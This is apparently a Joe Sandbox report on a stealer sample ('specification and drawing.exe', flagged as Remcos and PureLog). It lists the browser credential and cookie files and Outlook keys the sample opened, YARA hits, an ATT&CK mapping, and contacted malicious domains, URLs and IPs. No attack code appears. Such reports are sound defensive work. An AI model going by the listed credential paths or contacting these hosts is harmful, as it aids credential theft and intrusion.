Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\wscript.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2400421345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581614710.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4592454426.0000000004B70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2401176438.0000000001030000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590637504.0000000004660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590687371.00000000046B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4589607610.0000000003BF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2402440519.0000000001E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.specification and drawing.exe.56c0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.3de24c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.2e3d4b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2187012973.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2179156189.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2178181816.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
specification and drawing.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos
specification and drawing.exe	100%	Avira	HEUR/AGEN.1307356
specification and drawing.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://giganet.ua/ru	0%	Avira URL Cloud	safe
https://www.imena.ua/vps	0%	Avira URL Cloud	safe
https://www.imena.ua/domains	0%	Avira URL Cloud	safe
http://www.spectre.center/v70f/	0%	Avira URL Cloud	safe
http://www.restobarbebek.xyz/jm9b/	100%	Avira URL Cloud	malware
https://www.imena.ua/en/how-search	0%	Avira URL Cloud	safe
https://img.imena.ua/js/bundle.min.js	0%	Avira URL Cloud	safe
https://www.imena.ua/documents	0%	Avira URL Cloud	safe
http://inau.ua/	0%	Avira URL Cloud	safe
http://www.rtpsilva4d.click/mbcs/	0%	Avira URL Cloud	safe
http://www.synd.fun/6sgf/	0%	Avira URL Cloud	safe
http://www.cbprecise.online/cvmn/	0%	Avira URL Cloud	safe
https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac	0%	Avira URL Cloud	safe
http://www.wiretap.digital/gofy/	0%	Avira URL Cloud	safe
https://parking.reg.ru/script/get_domain_data?domain_name=www.synd.fun&rand=	0%	Avira URL Cloud	safe
https://www.imena.ua/hosting	0%	Avira URL Cloud	safe
http://www.jagdud.store/ohf8/	0%	Avira URL Cloud	safe
https://www.imena.ua/domains/prices	0%	Avira URL Cloud	safe
https://www.imena.ua/	0%	Avira URL Cloud	safe
https://www.imena.ua/ua	0%	Avira URL Cloud	safe
http://partner.mirohost.net	0%	Avira URL Cloud	safe
https://www.imena.ua/datacenter	0%	Avira URL Cloud	safe
https://www.imena.ua/blog/	0%	Avira URL Cloud	safe
https://www.imena.ua/domains/premium-domains	0%	Avira URL Cloud	safe
https://www.imena.ua/how-search	0%	Avira URL Cloud	safe
https://www.imena.ua/domains/regtm	0%	Avira URL Cloud	safe
https://www.imena.ua/job	0%	Avira URL Cloud	safe
https://www.imena.ua/en	0%	Avira URL Cloud	safe
http://www.yun08ps.top/tjfd/	0%	Avira URL Cloud	safe
https://www.imena.ua/contact	0%	Avira URL Cloud	safe
https://img.imena.ua/css/media-set.css	0%	Avira URL Cloud	safe
https://control.mirohost.net/auth/login.php?lang=ru	0%	Avira URL Cloud	safe
https://control.imena.ua/login.php?lang=2	0%	Avira URL Cloud	safe
https://www.imena.ua/help	0%	Avira URL Cloud	safe
http://www.ix.net.ua/ru	0%	Avira URL Cloud	safe
https://mail.mirohost.net	0%	Avira URL Cloud	safe
http://www.swenansiansie.xyz/08fk/	0%	Avira URL Cloud	safe
https://www.imena.ua/ru	0%	Avira URL Cloud	safe
https://companies.rbc.ru/	0%	Avira URL Cloud	safe
https://www.imena.ua/whois.php?domain=spectre.center	0%	Avira URL Cloud	safe
http://www.nagasl89.baby/w21a/	0%	Avira URL Cloud	safe
https://www.imena.ua/servers	0%	Avira URL Cloud	safe
http://www.nagasl89.baby	0%	Avira URL Cloud	safe
https://www.imena.ua/check-domain	0%	Avira URL Cloud	safe
https://www.imena.ua/payments	0%	Avira URL Cloud	safe
https://www.imena.ua/check-domain?step=transfer	0%	Avira URL Cloud	safe
https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua	0%	Avira URL Cloud	safe
https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii	0%	Avira URL Cloud	safe
http://www.it2sp8.vip/5l50/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
swenansiansie.xyz	3.33.130.190	true	true	unknown
www.nagasl89.baby	162.159.140.104	true	true	unknown
www.spectre.center	5.39.10.93	true	true	unknown
cbprecise.online	3.33.130.190	true	true	unknown
rtpsilva4d.click	67.223.117.169	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	false	high
it2sp8.vip	3.33.130.190	true	true	unknown
wiretap.digital	3.33.130.190	true	true	unknown
www.sidqwdf.fun	185.106.176.204	true	true	unknown
www.yun08ps.top	47.238.157.253	true	true	unknown
www.themessageart.online	208.91.197.27	true	true	unknown
www.synd.fun	194.58.112.174	true	true	unknown
www.jagdud.store	209.74.64.187	true	true	unknown
www.restobarbebek.xyz	unknown	unknown	true	unknown
www.cbprecise.online	unknown	unknown	false	unknown
www.rtpsilva4d.click	unknown	unknown	false	unknown
www.mp3cevir.xyz	unknown	unknown	true	unknown
www.swenansiansie.xyz	unknown	unknown	true	unknown
www.wiretap.digital	unknown	unknown	false	unknown
www.it2sp8.vip	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.restobarbebek.xyz/jm9b/	true	Avira URL Cloud: malware	unknown
http://www.rtpsilva4d.click/mbcs/	true	Avira URL Cloud: safe	unknown
http://www.spectre.center/v70f/	true	Avira URL Cloud: safe	unknown
http://www.cbprecise.online/cvmn/	true	Avira URL Cloud: safe	unknown
http://www.synd.fun/6sgf/	true	Avira URL Cloud: safe	unknown
http://www.wiretap.digital/gofy/	true	Avira URL Cloud: safe	unknown
http://www.jagdud.store/ohf8/	true	Avira URL Cloud: safe	unknown
http://www.yun08ps.top/tjfd/	true	Avira URL Cloud: safe	unknown
http://www.swenansiansie.xyz/08fk/	true	Avira URL Cloud: safe	unknown
http://www.nagasl89.baby/w21a/	true	Avira URL Cloud: safe	unknown
http://www.it2sp8.vip/5l50/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://giganet.ua/ru	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reg.ru	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.rbc.ru/technology_and_media/	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/domains	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/documents	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.imena.ua/js/bundle.min.js	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://inau.ua/	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/en/how-search	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/vps	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac	specification and drawing.exe	false	Avira URL Cloud: safe	unknown
https://www.ripe.net/	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.imena.ua/hosting	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/whois/?check=&dname=www.synd.fun&reg_source=parking_auto	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://parking.reg.ru/script/get_domain_data?domain_name=www.synd.fun&rand=	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/domains/prices	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.imena.ua/ua	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://partner.mirohost.net	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/domains/premium-domains	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/hosting/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_host&	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/blog/	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	specification and drawing.exe, 00000000.00000002.2178181816.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.imena.ua/datacenter	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/domains/regtm	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/domain/new/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_new&am	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/how-search	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/job	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.imena.ua/contact	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/en	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ix.net.ua/ru	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.imena.ua/css/media-set.css	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mail.mirohost.net	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/help	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://control.imena.ua/login.php?lang=2	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://control.mirohost.net/auth/login.php?lang=ru	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/ru	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/whois.php?domain=spectre.center	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://companies.rbc.ru/	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/check-domain	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/payments	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.imena.ua/servers	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nagasl89.baby	LfvKCNKdvt.exe, 0000000A.00000002.4592454426.0000000004BF3000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/dedicated/?utm_source=www.synd.fun&utm_medium=parking&utm_campaign=s_land_server&	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
http://ogp.me/ns#	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.reg.ru/sozdanie-saita/	wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/check-domain?step=transfer	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schema.org/Organization	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua	LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii	wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
209.74.64.187	www.jagdud.store	United States	31744	MULTIBAND-NEWHOPEUS	true
67.223.117.169	rtpsilva4d.click	United States	15189	VIMRO-AS15189US	true
162.159.140.104	www.nagasl89.baby	United States	13335	CLOUDFLARENETUS	true
185.106.176.204	www.sidqwdf.fun	United Kingdom	204212	AS_LYREG3FR	true
47.238.157.253	www.yun08ps.top	United States	20115	CHARTER-20115US	true
194.58.112.174	www.synd.fun	Russian Federation	197695	AS-REGRU	true
3.33.130.190	swenansiansie.xyz	United States	8987	AMAZONEXPANSIONGB	true
5.39.10.93	www.spectre.center	France	16276	OVHFR	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566626
Start date and time:	2024-12-02 14:35:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	specification and drawing.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/7@15/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 100 Number of non-executed functions: 285
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
